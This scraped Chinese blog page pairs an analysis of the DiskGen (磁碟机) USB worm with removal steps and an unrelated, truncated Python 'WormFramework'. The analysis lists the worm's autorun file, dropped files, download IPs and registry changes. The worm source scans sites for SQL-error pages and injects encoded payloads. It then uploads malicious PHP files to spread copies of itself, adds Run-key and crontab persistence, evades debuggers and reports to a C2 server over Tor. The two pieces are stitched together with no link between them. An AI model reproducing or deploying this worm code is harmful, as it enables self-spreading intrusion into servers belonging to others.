Worm.Win32.D.i.s.k.G.e.n(磁.碟.机)的分析

磁碟机病毒清除指南
本文详细介绍了一种名为磁碟机的病毒特征及其清除步骤。该病毒通过U盘传播,感染exe文件,并通过多种手段确保自身运行。文章提供了具体的清除方法,包括禁用关键进程和服务、使用专用工具等。
病毒特点:
1,
病毒样本:pagefile.pif
大小:91,648 字节
传播方式:U盘传播
类型:蠕虫,下载者
瑞星扫描结果:正常
病毒名:磁碟机变种,广告杀手ARP病毒
autorun.inf为
程序代码 程序代码
[AutoRun]
open=pagefile.pif
shell/open=打开(&O)
shell/open/Command=pagefile.pif
shell/open/Default=1
shell/explore=资源管理器(&X)
shell/explore/Command=pagefile.pif

2,访问这些IP下载木马
121.14.88.11
222.208.183.204
208.111.144.29
3,释放下列文件
x:/pagefile.pif
x:/autorun.inf
C:/WINDOWS/system32/Com/lsass.exe
C:/WINDOWS/system32/Com/smss.exe
C:/WINDOWS/system32/dnsq.dll
c:/windows/system32/com/netcfg.dll
c:/windows/system32/com/netcfg.100
添加启动项C:/Documents and Settings/All Users/「开始」菜单/程序/启动/~.exe
4,启动时添加服务
HKLM/SYSTEM/CurrentControlSet/Services/NetApi000,加载驱动c:/NetApi00.sys到系统内存,
之后删除掉开启自动播放功能
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/
NoDriveTypeAutoRun
新: DWORD: 145 (0x91)
旧: DWORD: 255 (0xff)
5,C:/WINDOWS/system32/dnsq.dll注入到每一个进程,监视关闭icesword,sreng,清理助手,
Wsyscheck等安全软件,
破坏还原模式,不能显示隐藏文件,关闭带有“安全”的窗口
感染瑞星,office,cute ftp,紫光输入法等exe文件已知的有:
netcfg.dll则注入IE,然后狂刷广告和钓鱼网站
6,打开IE,狂弹广告,刷流量,每10秒就弹出2个广告页面。

隐藏打开IE



7,打开网页有时会出现QQ广告之类的浮动图标,但出现QQ广告并不一定就是中了磁碟机,有可能你所在的局域网或者所在网段中了这个病毒
8,下载东西时自动将下载的东西替换为包含病毒的setup.exe自解压程序,关闭此下载重新点击,第二次下载的才是你要下载的正确文件。
9,运行-msconfig:系统配置使用程序的“关闭”和“应用”按钮无效。

清除办法:
1,断开网络,切断病毒更新的后路。
2,
(1)幸好其启动方式简单,在清除病毒的时候发现,只要强制关闭了c:/windows/system32/com/lsass.exe,病毒就会调用cmd.exe来打开calcs.exe,我们首先利用映象劫持来不让病毒启动,打开记事本,输入
程序代码 程序代码

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/~.exe]
"Debugger"="virus goaway"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/cmd.exe]
"Debugger"="virus goaway"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/calcs.exe]
"Debugger"="virus goaway"

导入系统,重启。
且记在进行这个操作之前,不要试图去结束c:/windows/system32/com/lsass.exe,
否则dnsq.dll监视到lsass.exe被结束,马上在C盘更目录下生成后面数字为随机的c:/lsass.exe.30968.exe,
启动项也马上变化
C:/Documents and Settings/All Users/「开始」菜单/程序/启动/~.exe.30968.exe,则劫持就失去其作用了,病毒还是会启动。
(2),使用费尔木马清除助手(或xdelboxx),复制上面所列的释放文件,选择第二项抑制清除,重启。一定得确保启动项对应的文件被删除!
清除后截图:

注入vmusrvc.exe的dll检测到 lsass.exe,smss.exe被删除!

3,今天再次遇到磁碟机,但是这个病毒比以前的要厉害的多,非常的难清除。如果上面的没解决,可以试试下面的方法。
重点是关闭掉
C:/WINDOWS/system32/Com/lsass.exe
C:/WINDOWS/system32/Com/smss.exe
C:/WINDOWS/system32/dnsq.dll
这3个文件的自启动。
(1),HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Windows把这2项的权限全部选择为拒绝。这样就把dnsq.dll的启动干掉
(2),另外,关机时,病毒会在开始菜单的启动中加入启动项。那么我们可以不留给他们这个机会,那就是打开ToolsLoader(这个可以在磁碟机病毒运行时打开),打开费尔木马强力清除助手(请用我修改的那个,标题无木马字样),之后复制上面3个文件路径到费尔,在ToolsLoader的进程管理中右键选择“禁止进程创建”,费尔中选择第二项清除。马上按电脑重启按钮。如果重启后还发现C:/WINDOWS/system32/Com/smss.exe在运行,那么你就失败了。好了,把这2个exe的启动干掉后,用强力清除工具把dnsq.dll清除就很容易了。马上用附件中的专杀扫描,修复系统,一定要确保专杀没被感染哦,辨别的方法就是看程序图标是否清晰。

4,下载附件中的瑞星磁碟机专杀修复删除感染的exe文件
5,打开sreng,
系统修复,游览器加载项,删除C:/WINDOWS/system32/com/netcfg.dll
系统修复,高级修复,修复安全模式。
系统修复,windows shell/ie,全选,修复。
修复不能显示隐藏文件也可下载 show.inf,解压缩后单击show.inf,右键,选择安装
删除上面最开始导入的劫持项
6,清空C:/WINDOWS/Prefetch文件夹
7,用杀软扫描全盘,以防漏网之鱼
8,打开防火墙的arp防护功能。如瑞星防火墙2008版,不过默认是不开启的;风云防火墙;antiarp防火墙

文件名: Worm.Win32.DiskGen(磁碟机变种).rar
描述: daokers.com
下载链接: http://www.fs2you.com/files/a8109d45-de24-11dc-adee-0014221b798a/
瑞星仍然无法识别样本中pagefile.pif,NetApi000.sys为病毒

文件名: showinf.rar
描述: daokers.com
下载链接: http://www.fs2you.com/files/c37ed7a8-e027-11dc-ac17-0014221f4662/

文件名: 瑞.星.磁.碟.机.专.杀.1.2.exe
描述: daokers.com
下载链接: http://www.fs2you.com/files/4604c8d4-eb80-11dc-a224-0014221f4662/
 
import base64 import random import string import hmac import hashlib import time import sys import ctypes import os from urllib.parse import urlparse, quote import requests import socket from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad, unpad import logging import socks import stem.process # 配置日志记录器 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') # 全局变量,用于密钥轮换 current_key_index = 0 symmetric_keys = [] for _ in range(5): symmetric_keys.append(''.join(random.choices(string.ascii_letters + string.digits, k=16)).encode('utf - 8')) # 动态HMAC算法列表 hmac_algorithms = [hashlib.sha256, hashlib.sha384, hashlib.sha512] class Scanner: def __init__(self): self.targets = [] self.persistence_file = 'targets.txt' self.load_targets() def add_target(self, url): self.targets.append(url) self.save_targets() def find_vulnerable_hosts(self): vulnerable_hosts = [] for target in self.targets: if self._check_vulnerable(target): vulnerable_hosts.append(target) return vulnerable_hosts def _check_vulnerable(self, target): try: socket.gethostbyname(urlparse(target).hostname) except socket.gaierror: logging.error(f"无法解析主名: {urlparse(target).hostname}") return False if not urlparse(target).scheme: target = 'http://' + target headers = { 'User - Agent': self._generate_random_user_agent(), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': target } paths_to_check = self._generate_paths() for path in paths_to_check: try: time.sleep(random.uniform(1, 3)) response = requests.get(target + path, headers=headers) if response.status_code == 200: if self._is_suspicious(response.text): logging.info(f"{target} 可能存在漏洞,状态码: {response.status_code}") return True else: logging.info(f"{target} 状态码200但内容无异常,路径: {path}") else: logging.info(f"{target} 状态码非200,路径: {path},状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"Check vulnerable request exception: {e}") return False def _generate_random_user_agent(self): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0' ] return random.choice(user_agents) def _generate_paths(self): common_paths = ['/login.php', '/admin.php', '/index.php'] random_paths = ['/' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(5, 10))) for _ in range(3)] return common_paths + random_paths def _is_suspicious(self, response_text): keywords = ['sql error', 'unexpected token', 'database error'] for keyword in keywords: if keyword in response_text.lower(): return True return False def load_targets(self): try: with open(self.persistence_file, 'r') as f: self.targets = f.read().splitlines() except FileNotFoundError: pass def save_targets(self): with open(self.persistence_file, 'w') as f: for target in self.targets: f.write(target + '\n') class PropagationEngine: def propagate_to_target(self, target, payload): upload_paths = ['/upload.php', '/file_upload.php', '/upload_file.php'] for upload_path in upload_paths: try: time.sleep(random.uniform(1, 3)) files = {'file': ('malicious_file.php', payload)} headers = self._generate_headers() response = requests.post(target + upload_path, files=files, headers=headers) if response.status_code == 200: logging.info(f"成功传播到目标 {target}") return True else: logging.info(f"传播到目标 {target} 失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"传播到目标 {target} 时出错: {e}") return False def _generate_headers(self): headers = { 'User - Agent': self._generate_random_user_agent(), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } # 这里可以添加更多处理CSRF token等逻辑,暂时先留空 return headers def _generate_random_user_agent(self): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0' ] return random.choice(user_agents) class MultiArchPayload: def __init__(self): self.payload_segments = [] self.encoding_methods = [self._base64_encode, self._hex_encode, self._url_encode] def generate_mutation(self, base_payload): self.payload_segments = [] num_segments = random.randint(3, 5) segment_size = len(base_payload) // num_segments remaining = len(base_payload) % num_segments start = 0 for i in range(num_segments): end = start + segment_size if i == num_segments - 1: end += remaining segment = base_payload[start:end] encoding_method = random.choice(self.encoding_methods) encoded_segment = encoding_method(segment) self.payload_segments.append(encoded_segment) return self.payload_segments def _base64_encode(self, data): return base64.b64encode(data).decode('utf - 8') def _hex_encode(self, data): return data.hex() def _url_encode(self, data): return quote(data.decode('utf - 8')) class WormFramework: def __init__(self): self.payload_generator = MultiArchPayload() self.vulnerability_scanner = Scanner() self.propagator = PropagationEngine() self.rsa_key = RSA.generate(2048) self.private_key = self.rsa_key.export_key() self.public_key = self.rsa_key.publickey().export_key() self.worm_code = self._read_worm_code() self.c2_server_url = 'http://your_c2_server.com' self.tor_process = None def generate_payload(self, base_payload): return self.payload_generator.generate_mutation(base_payload) def scan_targets(self): targets = self.vulnerability_scanner.find_vulnerable_hosts() logging.info(f"发现的可能存在漏洞的目标: {targets}") return targets def exploit_target(self, target, base_payload): if not urlparse(target).scheme: target = 'http://' + target injection_path = self._get_injection_path(target) if not injection_path: return False malicious_payload_segments = self.generate_payload(base_payload) success = False max_retries = 3 for segment in malicious_payload_segments: for retry in range(max_retries): try: time.sleep(random.uniform(1, 3)) url = target + injection_path + 'id=' + segment headers = { 'User - Agent': self.vulnerability_scanner._generate_random_user_agent(), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': target } logging.info(f"尝试发送恶意请求: {url}") response = requests.get(url, headers=headers) if response.status_code == 200: logging.info(f"恶意请求成功,状态码: {response.status_code}") success = True break else: logging.info(f"恶意请求失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"Exploit SQL injection request exception: {e}") if retry < max_retries - 1: time.sleep(2) continue if success: break if not success: logging.info("所有恶意负载注入尝试均失败。") return success def inject_payload(self, target, base_payload): logging.info(f"正在向目标 {target} 注入有效载荷") self._send_encrypted_payload(target, base_payload) def propagate(self, base_payload): global current_key_index logging.info("开始传播流程") if self._should_delay(): time.sleep(random.randint(3600, 7200)) # 延迟1 - 2小时 for target in self.scan_targets(): logging.info(f"开始检测并尝试利用目标 {target}") if self.exploit_target(target, base_payload): encrypted_payload = self._encrypt_payload(self.worm_code) if self.propagator.propagate_to_target(target, encrypted_payload): self._install_persistence(target) current_key_index = (current_key_index + 1) % len(symmetric_keys) self._send_status_to_c2('Propagation success') def _get_injection_path(self, target): paths = ['/vulnerable_page.php?', '/inject.php?'] for path in paths: try: response = requests.get(target + path) if response.status_code == 200: return path except requests.RequestException: pass return None def _encrypt_payload(self, base_payload): global current_key_index session_key = symmetric_keys[current_key_index] cipher_aes = AES.new(session_key, AES.MODE_CBC) padded_data = pad(base_payload, AES.block_size) encrypted_data = cipher_aes.encrypt(padded_data) cipher_rsa = PKCS1_OAEP.new(RSA.import_key(self.public_key)) encrypted_session_key = cipher_rsa.encrypt(session_key) iv = base64.b64encode(cipher_aes.iv).decode('utf - 8') encrypted_session_key_b64 = base64.b64encode(encrypted_session_key).decode('utf - 8') encrypted_data_b64 = base64.b64encode(encrypted_data).decode('utf - 8') hmac_algorithm = random.choice(hmac_algorithms) h = hmac.new(session_key, encrypted_data, hmac_algorithm) hmac_digest = base64.b64encode(h.digest()).decode('utf - 8') combined_data = f"{encrypted_session_key_b64}:{iv}:{encrypted_data_b64}:{hmac_digest}:{hmac_algorithm.__name__}" return combined_data.encode('utf - 8') def _decrypt_payload(self, encrypted_payload): global current_key_index parts = encrypted_payload.decode('utf - 8').split(':') encrypted_session_key_b64, iv_b64, encrypted_data_b64, hmac_digest_b64, hmac_algorithm_name = parts encrypted_session_key = base64.b64decode(encrypted_session_key_b64) iv = base64.b64decode(iv_b64) encrypted_data = base64.b64decode(encrypted_data_b64) received_hmac_digest = base64.b64decode(hmac_digest_b64) hmac_algorithm = getattr(hashlib, hmac_algorithm_name) session_key = symmetric_keys[current_key_index] h = hmac.new(session_key, encrypted_data, hmac_algorithm) expected_hmac_digest = h.digest() if hmac.compare_digest(received_hmac_digest, expected_hmac_digest): cipher_rsa = PKCS1_OAEP.new(RSA.import_key(self.private_key)) session_key = cipher_rsa.decrypt(encrypted_session_key) cipher_aes = AES.new(session_key, AES.MODE_CBC, iv) decrypted_data = unpad(cipher_aes.decrypt(encrypted_data), AES.block_size) return decrypted_data else: logging.error("HMAC验证失败,数据可能被篡改") return None def _read_worm_code(self): with open(__file__, 'rb') as f: return f.read() def _install_persistence(self, target): if sys.platform.startswith('win'): # 注册表自启动 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(key, "worm_service", 0, winreg.REG_SZ, sys.executable) winreg.CloseKey(key) elif sys.platform.startswith('linux'): # 之前的crontab方式 command = f"echo '*/5 * * * * python3 {os.path.abspath(__file__)}' | crontab -" try: response = requests.post(target + '/execute_command.php', data={'command': command}) if response.status_code == 200: logging.info(f"在目标 {target} 上成功安装持久化制") else: logging.info(f"在目标 {target} 上安装持久化制失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"在目标 {target} 上安装持久化制时出错: {e}") def _send_status_to_c2(self, status): try: socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 9050) socket.socket = socks.socksocket response = requests.post(self.c2_server_url + '/status', json={'status': status}, verify=False) if response.status_code == 200: logging.info("成功向C2服务器发送状态") else: logging.error(f"向C2服务器发送状态失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"向C2服务器发送状态时出错: {e}") finally: socket.socket = socket._realsocket def _should_delay(self): # 简单的延迟触发逻辑 return random.random() < 0.5 def _check_debugger_present(self): kernel32 = ctypes.windll.kernel32 return kernel32.IsDebuggerPresent() def _check_cpu_cores(self): if sys.platform.startswith('win'): kernel32 = ctypes.windll.kernel32 system_info = ctypes.wintypes.SYSTEM_INFO() kernel32.GetSystemInfo(ctypes.byref(system_info)) return system_info.dwNumberOfProcessors elif sys.platform.startswith('linux'): return os.cpu_count() def _start_tor(self): try: self.tor_process = stem.process.launch
最新发布
10-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值